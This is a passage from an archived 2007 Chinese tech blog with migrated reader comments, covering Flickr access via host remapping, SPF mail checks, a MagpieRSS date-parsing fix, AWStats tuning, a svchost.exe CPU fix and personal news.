var exchangeSource = new Array( /^([^.]*.?)farm2.static.flickr.com$/i, //4 /^([^.]*.?)static.flickr.com$/i, //3 /^([^.]*.?)blog.flickr.com$/i, //2 /^([^.]*.?)flickr.com$/i //1 ); var exchangeDest = new Array( 'storage2.flickr.vip.re2.yahoo.com', //4 'storage1.flickr.vip.re2.yahoo.com', //3 'flickr.blogs.com', //2 'www.flickr.mud.yahoo.com' //1 );

💬 历史评论

以下 12 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

richbox · 2007-06-18 11:53

Thanks

jxdawei · 2007-06-18 14:05

魔高一尺，道高一丈.hahahahaha

xjb · 2007-06-18 15:26

不错，这个插件是修改req http header的host来达到访问相册的目的。

Reno Peng · 2007-06-20 06:51

车东，

你介绍的方法很棒，并且我也一直在用。不过最近听到越来越多很可惜的消息，国内一些跨国公司内部都禁用了Firefox，并且通常没有例行的来自安全人员的正式 email notification，而借口普遍都是Firefox有严重的安全隐患、泄露访问信息，这些让人听着都比较痛心却浮想联翩。

雅虎One Search的新形象：征名中

Tue, 12 Jun 2007 13:15:30 +0800

新造型的原型据说是雅虎One Search和YiSou新Web UI的设计者之一杨家宁：一个喜欢Linux，喜欢WebUI的Web工程师。

雅虎很多产品都有系列人物造型，最著名就是免费邮箱的Liam系列：他的名字就是mail倒过来写，听说One Search的造型还没起名：有什么建议请留言。

更新：2007-06-15 YSeeker搜集的更全，我转帖了一些，据说已经有十几个了，以后配合不同活动发布。

YiSou相对来说是一个比较Geek的设计，在FireFox下使用发现很容易将雅虎易搜直接添加为FireFox右上角的缺省搜索：因为在搜索结果页的meta中做了以下声明：

💬 历史评论

以下 7 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Justso · 2007-06-12 15:10

车东博客上忽闪一下出来窗口的广告系统是什么？yahoo 的新广告系统？

Koorise · 2007-06-12 19:53

那广告干啥么用滴？

沈蚊 · 2007-06-13 02:29

叫“001”

哦一狗 · 2007-06-13 20:43

杨家宁和oigio的妹妹是中学同学…… 杨家宁和oigio是同事…… 所以就叫oigio吧…… (^0^)/~ EOF

哦一狗 · 2007-06-14 15:40

听龙兄说国外的叫Y! GO。 Y! GO就是一狗呀～缘分钢钢儿的。

rq · 2007-06-19 10:57

不能就叫宁宁吗？

达尔 · 2007-06-20 17:12

geek不geek没什么意思，好用不好用才重要 yahoo格局是越来越狭小贴标签不如做实事，你们这些技术人员从来只会写代码

解决MT发送邮件通知给GMail遇到的SPF校验问题

Tue, 22 May 2007 14:18:50 +0800

blog系统有一个很有用的功能就是邮件发送留言通知：但是发送到GMail邮箱的通知信十有八九都会被标记为垃圾邮件。原因就是SPF：Sender Policy Framework (SPF) 要做发送人校验，而MT设置的发信人是留言者的邮件地址，而退信地址是MT系统所在服务器的邮箱。 Received-SPF: **neutral **(google.com: 60.195.249.163 is neither permitted nor denied by domain of apache@localhost.localdomain) 我的WEB服务器上没有任何邮件系统。所以无法通过SPF校验，有严格的SPF校验这也是GMail相对Spam比较少的原因。

如何解决呢： 1 增加邮件系统，设置MX记录等，需要学不少东西； 2 简单的就是先发到不支持SPF校验的邮件系统上，然后再转发给GMail，这时候的退信地址已经转发邮箱了： Received-SPF: **pass **(google.com: domain of #####@yeah.net designates 60.12.227.137 as permitted sender)

什么是SPF？ SPF 是发送方策略框架 (Sender Policy Framework) 的缩写，正在逐步成为一个防伪标准，来防止伪造邮件地址。您的域管理员或托管公司仅需在域名系统 (DNS) 中发布 SPF 记录。这些简单的文本记录标识了经过授权的电子邮件发送服务器（通过列出这些服务器的 IP 地址）。电子邮件接收系统会检查邮件是否来自经过正确授权的电子邮件发送服务器。检查步骤如下，发送人向接收方发送一封电子邮件后，邮件接收服务器接收电子邮件并执行如下操作： • 检查哪一个域声称发送了该邮件并检查该域的 SPF 记录的 DNS。

邮件发送服务中： SPF，PTR（ip==>hostname反解）是最重要的2个规范需要遵循的，而与国内大邮箱服务商的合作还是需要一家一家谈白名单； • 确定发送服务器的 IP 地址是否与 SPF 记录中的某个已发布 IP 地址相匹配。 • 对电子邮件进行打分：如果 IP 地址匹配，则邮件通过身份验证并获得一个正分。如果 IP 地址不匹配，则邮件无法通过身份验证并获得一个负分。然后，对现有的防垃圾邮件筛选策略和启发式筛选应用这些结果。

如何给邮件服务器增加SPF设置，请参考chicheng的文章：为你的mail server增加SPF记录

MagpieRSS的parse_w3cdtf()函数对blogger atom格式的bug修正

Wed, 16 May 2007 11:24:59 +0800

很奇怪从Lilina上订阅的blogger.com发布的内容发布时间总是显示为未来8小时（格林威治）时间，一开始怀疑是atom输出的时区设置问题，但是看了atom.xml的输出，发现是有时区设置的，和其他引用的atom输出的主要区别在于发布时间有毫秒设置：

2007-05-15T14:49:00**.000**+08:00

[Lilina](http://www.chedong.com/blog/archives/001066.html)是一个基于MagpieRSS的聚合工具，MagpieRSS中对于atom格式时间的解析是通过rss_utils.inc中的parse_w3cdtf()函数，当时可能没有考虑到秒后面还有毫秒，导致对后面的时区设置解析失败，变成了格林威治时间。修正后的正则表达式和代码如下：可以兼容解析其他标准的[ISO 8601](http://www.iso.ch/iso/en/prods-services/popstds/datesandtime.html)时间格式解析。

diff -r1.7 rss_utils.inc 28c28 < $pat = "/(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2})(:(\d{2}))?(?:([-+])(\d{2}):?(\d{2})|(Z))?/"; --- > $pat = "/(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2})(:(\d{2}))?**(\.\d{3})?**(?:([-+])(\d{2}):?(\d{2})|(Z))?/"; 43c43 < array( $match[8], $match[9], $match[10]); --- > array( $match[9], $match[10], $match[11]);

给Blogger的问题：这个修改有些[nerdly](http://www.chedong.com/blog/archives/000128.html)吧？文章发表时间有必要精确到毫秒吗？我找到的atom的相关规范是按照[ISO 8601](http://www.w3.org/TR/NOTE-datetime)格式，也就是：2007-05-15T14:49:00+08:00

运行了一天，这个函数修正没有问题。

MagpieRSS项目已经hosting到了Google上： [http://code.google.com/p/magpiephp/](http://code.google.com/p/magpiephp/)

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Platinum · 2007-05-16 13:32

php -r “$a = ‘2007-05-15T14:49:00.123+12:00’;$i = strtotime($a);echo date(‘Y-m-d H:i:s’, $i);”

output:

2007-05-15 10:49:00

一个 PHP 内置的 strtotime 函数就通吃了，不需要自己写正则……

strtotime 是个挺变态的函数，基本上什么写法都能识别

再次邀请您参加：中国网络工程师侠客行大会(5月19/20日杭州)

Sat, 12 May 2007 07:54:58 +0800

2007年5月12日更新：我邀请您参加：首届中国网络工程师侠客行大会暨中国互联网技术精英论坛（2007年5月19-20日杭州）

参加白天的讲座： 1 下载登记表； 2 填写完整后发送到： developer@alibaba-inc.com

参加晚上的交流活动（酒吧）： 0 中文姓名： 1 手机： 2 通讯地址： 3 邮编： 4 发送到： developer@alibaba-inc.com +

谢谢！

2007年4月11日：近期的聚会很多，上周末错过了Lucene.cn技术交流。希望朋友们能在5月份的网络工程师侠客行大会见到，这次中国互联网技术精英论坛将于2007年5月19-20日杭州举行，做为东道主的阿里巴巴也邀请了来自美国Yahoo!的多位技术专家包括PHP之父Rasmus Lerdorf，搜索引擎专家陆奇和Jan Pedersen等，并进行专题演讲。点击这里下载报名表格并发送给 developer@alibaba-inc.com

我了解到的嘉宾名单：

嘉宾姓名	方向	所在公司
Rene Bonvanie 	SAAS	Salesforce.com
[Jeremy Zawodny](http://jeremy.zawodny.com/blog/)	WEB SERVICE(WEB2.0)	Yahoo
陆奇	搜索引擎	Yahoo
雷鸣	搜索引擎	百度
Jan Pedersen	搜索引擎	Yahoo
陈华	搜索引擎	酷迅
张华平	搜索引擎	
Rasmus Lerdorf	PHP	Yahoo
耿志军	PHP	PHPChina

另外：填写报名表的时候你是不是也能好好想想参加这些论坛/会议的目的？除了混个面熟，具体能交流些什么呢？

相关报道：大辉：五月杭州侠客行

💬 历史评论

以下 7 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

“如何”和“怎样”方便的找到用户的需求

Fri, 11 May 2007 20:11:02 +0800

目前很多搜索引擎的竞价客户还不太善于选择关键词发现和挖掘潜在客户，如何引导客户从用户角度考虑问题呢？用户遇到问题/需求的时候一般都用什么关键词寻找解决方法呢？百度的相关搜索接口是一个很方便的来源，直接搜索 “如何” 、“怎样”还能知道现在网民最多的需求：

1 如何炒股 2 如何购买基金 3 如何减肥 4 如何买基金 5 如何看k线图 6 如何打开注册表 7 如何重装系统 8 如何买股票 9 如何制作网页 10 如何进入安全模式

类似的：从日志统计中发现，spoolsv.exe是最大的用户来源。那么除了spoolsv.exe外，用户还经常搜那些相关的问题呢？查一下“.exe”就可以关联出其他经常被查询的关键词。

1 [svchost.exe](http://www.chedong.com/blog/archives/001286.html) 2 cmd.exe 3 iexplore.exe 4 alg.exe 5 wuauclt.exe 6 ctfmon.exe 7 explorer.exe 8 taskmgr.exe 9 avp.exe 10 rundll32.exe 11 spoolsv.exe

原来spoolsv.exe只是一个此类关键词中流量排名第11位的，通过搜索量状态条可以推算出其他关键词的搜索量。

Google的搜索引擎建议也是包含搜索量因素的排序：此外：热榜和搜索风向标也是将比较各种关键词来源趋势的好工具。

💬 历史评论

以下 3 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

peterzsk · 2007-05-12 10:45

我一般看谷歌热榜

妖怪 · 2007-05-12 16:02

基于邮箱通讯录导入的用户联系圈扩展

Mon, 07 May 2007 09:27:35 +0800

有一个很好的通讯录管理功能对于SN用户的扩展来说很重要：最近使用 LinkedIn多了起来，因为LinkedIn提供了直接通过web界面将GMail，Hotmail，Yahoo Mail的通讯录导入功能，然后可以从导入的联系人中识别出已经在LinkedIn注册的用户，并批量发送链接邀请。通过这三个邮箱的导入：LinkedIn上将联系人由几十人扩大到了200多人，FaceBook上也有类似功能：导入邮箱通讯录后，联系人增加了40多人。

用户之所以允许LinkedIn和FaceBook进行基于通讯录的病毒式营销原因有以下几点： 1 方便：基于web的导入比起让用户从web邮箱选择CSV格式导入再上传要方便很多； 2 信任：用户对网站服务隐私保护的信任，这2个导入服务都不存储邮箱帐号，密码； 3 定向/可过滤：从导入的联系人中选择已注册本服务的用户比直接向所有导入的联系人发送邀请通知要聪明很多：因为导入的邮箱联系人中有很多是网站的客服帐号，邮件列表地址等不适合发送的地址，通过已注册检查可以很方便的过滤掉这些地址，减少不礼貌的Spam；

相比较之下: 国内的SN服务往往只允许通过CSV格式的地址簿导入，功能显得非常单薄. 只有We@Link有一个基于ActiveX的控件帮助你从OutLook / Outlook Express / MSN倒入, 但是也缺乏: 有多少联系人已经在网络中这个功能。想像一下这个查询量还是挺大的：如果你有4000个联系人，如果从这4000个人中在整个服务的100万用户查出交集，需要一个效率很高的索引实现。

💬 历史评论

以下 3 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

anflydeng · 2007-05-08 09:35

呵呵，这样的联系人自动识别功能，在KC的产品设计里相对更丰富，不仅是邮箱自动识别，甚至包括手机、电话的真实识别和判断；qq、msn等非真实联系方式的自动判断。围绕通讯录，不仅可判断联系人，还可以自动完善通讯方式：）比linkedin先进哦～～：）

jicknan · 2007-05-11 15:53

去年注册了 linkedin，还没开始用，we@link 用的也不多。从现在开始，先玩 linkedin ;-)

yupoo · 2007-05-29 09:42

http://www.yupoo.com/invites/

YUPOO的邀请功能，也是导入来自MSN, Gmail, Yahoo的联系人，

awstats统计中过滤trackback spam

Wed, 02 May 2007 19:56:22 +0800

MT的trackback关闭了一段时间了，但是即使是404脚本不存在了：上个月仍然收到了trackback请求26万左右（估计占独立用户的5%-10%）。

404 Document Not Found 276101 95.2 % 1.43 G字节

；用了fastcgi，对于系统来说也是一个很高的负载。

而且对于AWStats统计来说：即使是404请求，也是计算到来访的独立用户的，这样会造成很多误差：比如去年10月份的统计，很难想想来自于那些国外机房（美国，日本，丹麦）的流量居然占了top 10 IP来源中的9个，让这个TOP 10 IP来源完全失去了意义。

主机 (前 10) - 全部列出 - 最近参观日期 - 无法反解译的IP地址主机 : 0 个解译成功, 164470 无法得知(不能反解网域名称) 119778 参观者 GeoIP Country GeoIP City 网页数文件数字节最近参观日期 38.98.120.69 United States Washington 9207 9308 438.99 M字节 2006年 10月 31日 23:58 8.11.2.79 United States 无法得知 8961 9058 267.84 M字节 2006年 10月 11日 04:13 220.181.18.77 China Beijing 1278 1278 31.18 M字节 2006年 10月 31日 18:59 61.12.159.237 Japan Kami-meguro 1081 1324 24.45 M字节 2006年 10月 29日 10:44 82.103.132.52 Denmark 无法得知 744 744 9.96 M字节 2006年 10月 31日 03:27 61.149.109.88 China Beijing 734 939 22.79 M字节 2006年 10月 03日 01:25 72.21.39.242 United States Frisco 684 710 17.87 M字节 2006年 10月 31日 10:16 220.189.213.3 China Hangzhou 528 11357 31.71 M字节 2006年 10月 31日 20:54 209.67.217.226 United States Dallas 515 515 12.11 M字节 2006年 10月 31日 23:31 64.27.19.254 United States Los Angeles 508 800 52.20 M字节 2006年 10月 31日 23:37

过滤了404也只是相对接近真实了一点：仍然有大量用于发现trackback侦察机在抓取：

网站的外链/内链统计：来自Google的网站管理员工具

Sat, 21 Apr 2007 10:52:53 +0800

Google的[网站管理员工具](https://www.google.com/webmasters/tools/siteoverview)有这样一个功能：查询相应网站的外链/内链数量和明细。从控制台，点击一个已经提交的网站：控制台 > http://www.chedong.com/blog/ > 含外部链接的网页 > 以下是导出的部分 chedong.com/blog的外链数量统计：可惜不是按外链数量排序的，可以导出成EXCEL，报表如下：

[http://www.chedong.com/blog/](http://www.chedong.com/blog/) 17471 [http://www.chedong.com/blog/index.rdf](http://www.chedong.com/blog/index.rdf) 2948 [http://www.chedong.com/blog/archives/001249.html](http://www.chedong.com/blog/archives/001249.html) 1011 [http://www.chedong.com/blog/archives/001309.html](http://www.chedong.com/blog/archives/001309.html) 441 [http://www.chedong.com/blog/archives/001306.html](http://www.chedong.com/blog/archives/001306.html) 396 [http://www.chedong.com/blog/archives/001246.html](http://www.chedong.com/blog/archives/001246.html) 350 [http://www.chedong.com/blog/archives/000772.html](http://www.chedong.com/blog/archives/000772.html) 308 [http://www.chedong.com/blog/archives/001117.html](http://www.chedong.com/blog/archives/001117.html) 268 [http://www.chedong.com/blog/archives/001282.html](http://www.chedong.com/blog/archives/001282.html) 264 [http://www.chedong.com/blog/archives/001195.html](http://www.chedong.com/blog/archives/001195.html) 241 [http://www.chedong.com/blog/archives/001293.html](http://www.chedong.com/blog/archives/001293.html) 223 [http://www.chedong.com/blog/archives/001261.html](http://www.chedong.com/blog/archives/001261.html) 222 [http://www.chedong.com/blog/archives/001292.html](http://www.chedong.com/blog/archives/001292.html) 219 [http://www.chedong.com/blog/archives/000741.html](http://www.chedong.com/blog/archives/000741.html) 212 [http://www.chedong.com/blog/archives/000828.html](http://www.chedong.com/blog/archives/000828.html) 204 [http://www.chedong.com/blog/archives/001297.html](http://www.chedong.com/blog/archives/001297.html) 197 [http://www.chedong.com/blog/archives/001240.html](http://www.chedong.com/blog/archives/001240.html) 182 [http://www.chedong.com/blog/archives/001244.html](http://www.chedong.com/blog/archives/001244.html) 172 [http://www.chedong.com/blog/index.xml](http://www.chedong.com/blog/index.xml) 165 [http://www.chedong.com/blog/archives/001285.html](http://www.chedong.com/blog/archives/001285.html) 165 [http://www.chedong.com/blog/archives/001294.html](http://www.chedong.com/blog/archives/001294.html) 164 [http://www.chedong.com/blog/archives/001245.html](http://www.chedong.com/blog/archives/001245.html) 154 [http://www.chedong.com/blog/archives/001280.html](http://www.chedong.com/blog/archives/001280.html) 150 [http://www.chedong.com/blog/archives/001284.html](http://www.chedong.com/blog/archives/001284.html) 140 [http://www.chedong.com/blog/archives/001296.html](http://www.chedong.com/blog/archives/001296.html) 139 [http://www.chedong.com/blog/archives/001124.html](http://www.chedong.com/blog/archives/001124.html) 134 [http://www.chedong.com/blog/archives/001203.html](http://www.chedong.com/blog/archives/001203.html) 119 [http://www.chedong.com/blog/archives/001267.html](http://www.chedong.com/blog/archives/001267.html) 118 [http://www.chedong.com/blog/atom.xml](http://www.chedong.com/blog/atom.xml) 115 [http://www.chedong.com/blog/archives/000738.html](http://www.chedong.com/blog/archives/000738.html) 109 [http://www.chedong.com/blog/archives/000825.html](http://www.chedong.com/blog/archives/000825.html) 103 [http://www.chedong.com/blog/archives/001266.html](http://www.chedong.com/blog/archives/001266.html) 101

申请主机IP地址加入教育网的免费列表 010 - 62603429(杨小姐)

Thu, 19 Apr 2007 08:54:19 +0800

今天早上咨询了一下CERNET用户服务部：如何加入教育网的免费地址列表？

请通知你的服务商，让IDC和cernet联系申请加入（走服务器网段加入免费列表申请流程）：联系人 010 - 62603429 杨小姐。

注： 1 我的机器就在国内（不通过国际光缆），北京电信通机房主机托管1台； 2 开通了以后如何检查： CERNIC免费IP查询；

Does 60.195.249.163 belong to CERNET "free" IP list?
No. 60.195.249.163 不在免费之列. 60.195.249.163 is NOT in free IP list.

前2天刘润告诉我在校园里无法访问 chedong.com；今天和27floor商量主机，他也反映了这个问题；

💬 历史评论

以下 5 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

leavic · 2007-04-19 10:19

这个，教育网的国际流量费用很高，如果不是类似IEEE这样的重要教育资源数据库，要加入免费列表的话，一般都要线路提供商掏钱才行。而且就算加入了教育网免费IP列表，也未必就能保证教育网全网能正常访问。北京肯定是没问题，但其他地区的教育网就未必了。因为很多其他地区高校的教育网IP免费列表并没有和北京的数据及时同步，加上高校的教育网往往都有多得吓人的访问限制，学生基本上都不指望能访问国外的服务器。

scavin · 2007-04-19 13:14

但是国内服务器也有无法访问的，应该能解决掉的

dt · 2007-04-19 13:31

不明白，我也是教育网内，我能访问chedong啊。。。

bb · 2007-04-21 23:17

TO：dt 不在教育网免费IP中，会让一些免费的校园网用户无法使用。如果你使用的是三期SAIER，基本都能上。

要加入免费列表需要和高校的网络负责人从下往上批，我曾经和他们通过电话，好象手续比较麻烦。

目前SAIER分几期，我们这边国外网也能访问，并没受什么限制，其他，如浙江大学是需要使用代理才能上外网；而上海一些学校进非教育网免费IP是收取一些费用。我想这些BLOGGER如果真心关注你的BLOG应该都会使用代理，所以也没必要太在意。

aranwong · 2007-11-17 00:07

svchost.exe占用CPU 100%的解决方法

Sun, 15 Apr 2007 12:11:27 +0800

现象：

机器启动运行几分钟后 [svchost.exe](http://www.chedong.com/blog/archives/001286.html)就会占系统cpu资源的100%
拔掉网线就好了，重连上网后一会儿：svchost.exe又占cpu资源的99%；

解决：

假设你已经使用了[免费杀毒软件](http://www.chedong.com/blog/archives/000741.html)排除了病毒和已经使用[防间谍软件](http://www.microsoft.com/athome/security/spyware/software/default.mspx)排除了恶意软件的影响：** 想办法清空C:\WINDOWS\SoftwareDistribution 目录下所有的文件重启机器即可**。（C:\WINDOWS\SoftwareDistribution是Windows update服务的临时文件存放目录）

如果机器提示文件正在使用（"Automatic Updates"服务正在运行）无法删除相应目录：

则想办法打开控制面板==>管理工具==>服务，找到"Automatic Updates"，设置成手动启动，
重启后再删除 C:\WINDOWS\SoftwareDistribution。问题就解决了。
然后再打开控制面板==>管理工具==>服务，找到"Automatic Updates"，恢复成自动启动重启。

注意：重启后最好在上网条件比较好的地方让系统顺利完成一次系统自动更新。

推广：遇到[类似问题](http://www.chedong.com/blog/archives/001117.html)的应该挺多的，如果你也发现这个方法有用，请将 [http://www.chedong.com/blog/archives/001286.html](http://www.chedong.com/blog/archives/001286.html) 这个链接加到你的blog里。 html代码： [svchost.exe](http://www.chedong.com/blog/archives/001286.html)

原因分析：

先说说什么是svchost.exe：简单的说没有这个RPC服务，机器几乎就上不了网了。很多应用服务都是依赖于这个RPC接口的，如果发现这个进程占了太多的CPU资源，直接把系统的RPC服务禁用了会是一场灾难：因为连恢复这个界面的系统服务设置界面都无法使用了。恢复的方法需要**使用注册表编辑器，找到 HKEY_LOCAL_MACHINE >> SYSTEM >> CurrentControlSet >> Services >> RpcSs, 右侧找到Start属性，把它的值改为2再重启即可**

造成svchost占系统CPU 100%的原因并非svchost服务本身：以上的情况是由于Windows Update服务下载/安装失败而导致更新服务反复重试造成的。而Windows的自动更新也是依赖于svchost服务的一个后台应用，从而表现为svchost.exe负载极高。常发生这类问题的机器一般是上网条件（尤其是去国外网站）不稳定的机器，比如家里的父母的机器，往往在安装机器几个月以后不定期发生，每个月的第二个星期是高发期：因为最近几年MS很有规律的在每个月的第二个星期发布补丁程序）。上面的解决方法并不能保证不重发作，但是为了svchost文件而每隔几个月重装一次操作系统还是太浪费时间了。

教训：[spoolsv.exe](http://www.chedong.com/blog/archives/001117.html)和svchost.exe的问题都是应用遇到失败/例外情况后自动重试造成的，本想为用户节省时间的设计，但是重试的频度过高反而导致了和病毒一样的效果。

参考资料:

[svchost.exe CPU Usage 100%, when my Windows using Automatic Update](http://forums.microsoft.com/WindowsOneCare/ShowPost.aspx?PostID=906329&SiteID=2)
[svchost.exe 吃掉所有 CPU 資源](http://www.yannicafe.info/wp/2007/02/18/61.html)
[微软官方说明：使用“自动更新”搜索更新或对使用 Windows Installer 的应用程序应用更新时，遇到涉及 Svchost.exe 进程的问题](http://support.microsoft.com/kb/932494/zh-cn)
[Windows Update使SVCHOST.exe的问题跟踪](http://www.zhugao.cn/info/news_show.asp?id=585)

💬 历史评论

以下 97 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

基于MovableType的chedong.com/tech 重构

Fri, 13 Apr 2007 21:48:45 +0800

拖了3年了一直没做的一件事情：将以前tech/目录下的内容进行结构化管理，今天终于完成了。

4年前觉得自己做的这几个网页就是blog，从现在看，缺少了很多特征：可留言反馈，可RSS发布等。所以这次重构的系统选择我提出了以下几个要求： 1 文章按照指定文件名在根目录下导出：保持原有的链接不变（permalink）； 2 模板话管理：省却使用sed批量替换的麻烦，内容和表现分离； 3 在线可编辑，而不是使用SFTP/FTP上传； 4 更好的管理文章之间的关联； 5 有反馈机制：留言，这对内容的修正很有好处；

最后终于选择了熟悉的MovableType通过一番设置，用了2个周末下班时间完成了。对mt的设置如下： 1 只保留首页/归档页使用 %f 模式自定义文件名； 2 取消按月归档，取消按分类归档； 3 使用RelatedEntry插件实现标签分类；

同时也发现MT的一个缺点：不能管理过长的文档（超过20k的），比如： Hello Unicode这篇文章中的3个实验不得不分拆离成了3篇文章；

现在chedong.com 主要有3个目录：都已经是结构化的数据了。 blog/ 个人blog tech/ 笔记 digest/ 文摘收藏归档

在这次重构中，发现完全没有目录机制的发布也是完全可行的，目录和标签分类（tag）的一个区别：目录：需要考虑分类规则，需要预先定义，但计划赶不上变化；标签：的主题可以完全不考虑分类规则，而且组织的更扁平；不需要预先定义，更符合用户的思维顺序，先书写后分类；

在线的内容管理一直是我非常感兴趣的一个领域，如何让内容在更长时期内保持“新鲜”也是一直在思考的一个问题。希望目前的解决方案能用的时间更长一些。

在MT的FEED中增加了相关文章输出(欢迎加入MT中文用户组论坛)

Fri, 06 Apr 2007 13:09:55 +0800

测试一下，如果从FEED中看到这篇后面有MT的文章列表说明就成了。具体配置方法请参考大辉的文章：如何在 MT 的 RSS 中输出相关文章。

此外：1月份我还创建了一个MT中文用户组，邀请了很多很有经验MT的中文用户，包括： ThinkJam:(MT界面的中文翻译者), 王建硕，DBANotes等，欢迎感兴趣的朋友加入。

如果出现了RSS订阅错误，请留言告知，谢谢。

更新：自己测试了一下，“相关文章|Related Articles” 在Google Reader中是有的，抓虾中没有。

💬 历史评论

以下 4 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Shawn · 2007-04-06 13:43

没有。

平生一笑 · 2007-04-06 14:00

老大，把俺的网址留错了，呵呵

jianshu · 2007-04-07 03:07

这个配置方法收下了：）

Kreny · 2007-04-14 18:24

我修改了一下编辑功能，ｈｏｈｏ～

AdWords编辑器：用户最喜欢的10大功能

Tue, 27 Mar 2007 11:28:04 +0800

AdWords编辑器是Google开发的一个客户端程序：专门用于AdWords大客户的大批关键词管理。

用户最喜欢的十大功能包括： 10. Find duplicate keywords in your account with just two clicks of your mouse. 鼠标2次点击即可找到所有的重复关键词。 9. Copy or cut and paste between ad groups, campaigns, or even across accounts. 分组之间的关键词黏贴/复制。甚至是跨帐号的复制/黏贴。 8. Make bulk changes to destination URLs using the Add/Update Multiple tools or Advanced URL Changes. 批量修改目标地址：高级替换功能； 7. If you need to edit your keywords or ads in a spreadsheet, copy the items to edit from the data view and paste them into a spreadsheet. Make your changes, then paste the contents of the spreadsheet directly into the appropriate Add/Update Multiple tool. EXCEL表格管理关键词，并批量上传； 6. Undelete and activate previously deleted text ads. 恢复误删关键词/广告； 5. Search your account quickly. Perform simple word searches, or do an Advanced Search to find items that meet the multiple criteria that you specify. 帐号内的关键词检索：分字段检索； 4. Easily find and edit bids, destination URLs, and text for ads, keywords, or sites. 搜索后的快速编辑； 3. Submit multiple exception requests at once. 批量提交豁免申请（ SouthGrass: 当用户编辑好的广告格式、文字不符合Google Adwords 的编辑指南时，可以向Google 提出申请要求特殊照顾，即豁免申请）； 2. Automatically organize your keywords into ad groups based on common themes. 根据主题自动将关键词分组； 1. Save a snapshot of your account for archiving or for sharing. Later, you can import the archive file to restore your prior account settings. 帐号/数据的归档和共享，导入导出；

顺产女孩 3630g

Sun, 25 Mar 2007 10:19:48 +0800

太太辛苦了，经过40个小时的磨难，终于在24日下午14点顺利生下一个女孩。向所有选择自然生产的母亲表示敬意。其实：国外的母亲自然生产比例较高，无痛(麻醉)技术的广泛使用也是重要原因之一。

女儿的名字还没取好（小名：小超，去年演《超人归来》的时候怀上的），有建议请留言(名字要三个字的)。支付宝的~~在线捐助正在申请中~~，有红包的可以先用PayPal捐助或者支付宝直接到帐给![](/images/gmail.png)。

BTW: 3月24日是全球关机日，以后每年3月24日都请假关机，陪女儿玩……

附：alipay和paypal红包代码获取策略：供各位准新郎新娘，准爸爸妈妈们参考申请：paypal的捐款型代码可以直接获取(商家工具==>捐献)，alipay的捐献代码也可以直接获取（不用申请）; 回信：paypal可以直接给支付人回email，alipay是系统邮箱地址，无法直接从邮件中得知支付者邮箱；金额：paypal支持无定额支付，AliPay必须预先规定价格（金融政策的差异吧）；

💬 历史评论

以下 90 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

e6nian · 2007-03-25 10:50

红包网上捐献。。

车东大侠真的是引领时尚新潮流！

沙发。。

小弟没有账号。。所以只有祝福了。

奶罩 · 2007-03-25 10:57

恭喜恭喜~~

number5 · 2007-03-25 10:58

恭喜升级！

开心就好 · 2007-03-25 10:59

想给红包,点了没反应呀~ 那就送上一份真心的祝福~

You XU · 2007-03-25 11:05

车大侠，我是诚心要送 20$, 可是Mac下的FF点了没反应，Linux下的FF点了说有Error, “We were unable to decrypt the certificate id.”

您再check一下哪个环节出了错，我还想当一把叔叔呢 :)

yfy · 2007-03-25 11:06

恭喜，怎么不把这篇放到主页上去。还有你的url最好是用英文的，不要出现无意义似的数字，直接影响到流量的哈。

guke · 2007-03-25 11:13

AWStats的千万级日志解决方案：日报表 databasebreak=day + Canlendar.php 日历浏览

Wed, 07 Mar 2007 21:07:00 +0800

你完全不用耐心的看完后面所有的说明，awstats在进行日志统计时，命令行统计增加： -databasebreak=day 报表输出时增加： &databasebreak=day&day=DD 即可按天进行统计, 解决按月统计，归档数据过大导致统计过慢/失败的问题。

问题：很多网站在流量从10万级增加到百万级以后就放弃了awstats作为统计，具体表现就是到月底的时候，统计数据会运行1天都运行不完。于是就改为webalizer或者analog了。其实这并非awstats统计效率不高：awstats很多丰富的统计指标：蜘蛛识别浏览器识别，文件类型统计等，都是比Webalizer丰富的，Webalizer要实现类似的统计力度也会出现性能问题。

原因分析：性能的瓶颈在哪里呢：awstats统计缺省时按月统计，到月底时候记住的头20多天的历史IP等累计统计指标，会使得DUMP数据文件变得很大（数百M），而awstats运行时，需要的内存量是dump数据文件的3－4倍。当这个monthly积累的数据导致awstats统计脚本载入内存的数据量过大，用到系统文件交换做内存的时候日志统计效率就会降低了（处理速度会低2-3个数量级），于是出现了运行一天都统计不完前一天日志的现象。

解决： AWStats丰富的统计指标还是很有用的，而一个网站已经达到日千万级的访问请求，按天的详细的数据统计也是必须的了。所以：索性牺牲一下按月的独立IP统计，将日志改成按天统计，如果需要按月的汇总，可以利用awstats的dump数据成为一个中间数据源汇总统计。

其他问题： 1 按天的报表浏览：用Calendar.php做个日历浏览界面；按天统计后，awstats的输出文件会变成awstatsMMYYYYDD.confname.txt 每天一个统计文件，而报表的输出需要增加 &databasebreak=day&day=DD 来指定某一天的数据。增加了日期后，awstats的报表输出有些不方便，awstats本身没有提供按日的浏览，可以自己做个日历前端，方便awstats的报表浏览。 2 日志数据源：最好是压缩的，因为日志上2G以后，文件系统出问题的可能性大。尽量还是压缩日志后，通过zcat管道给awstats进行统计；

类似的思路： 1 如果 databasebreak=day 仍然无法解决问题，排除掉次要统计指标：过滤掉图片 js css等文件的请求日志； 2 如果仍然没有办法解决问题：设置为小时级别截断 databasebreak=hour 然后用每天的同一个小时（比如：下午5点－6点）做为1天的抽样，进行每天的数据跟踪；

总之：为了统计精度/完整性牺牲重要的统计统计指标是不值得的。当流量提高到百万级别，即使损失了n%的精度，对于做出结论已经足够了。而且利用awstats 的dump data作为中间处理结果，进行数据挖掘也是很方便的（大部分是CSV，分项的很容易用grep截取分离出来）。

💬 历史评论

以下 16 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Kreny · 2007-03-07 23:49

同意同意～曾经做过Desney的手机网站，一天Log 1600MB,疯…

老黑 · 2007-03-08 09:31

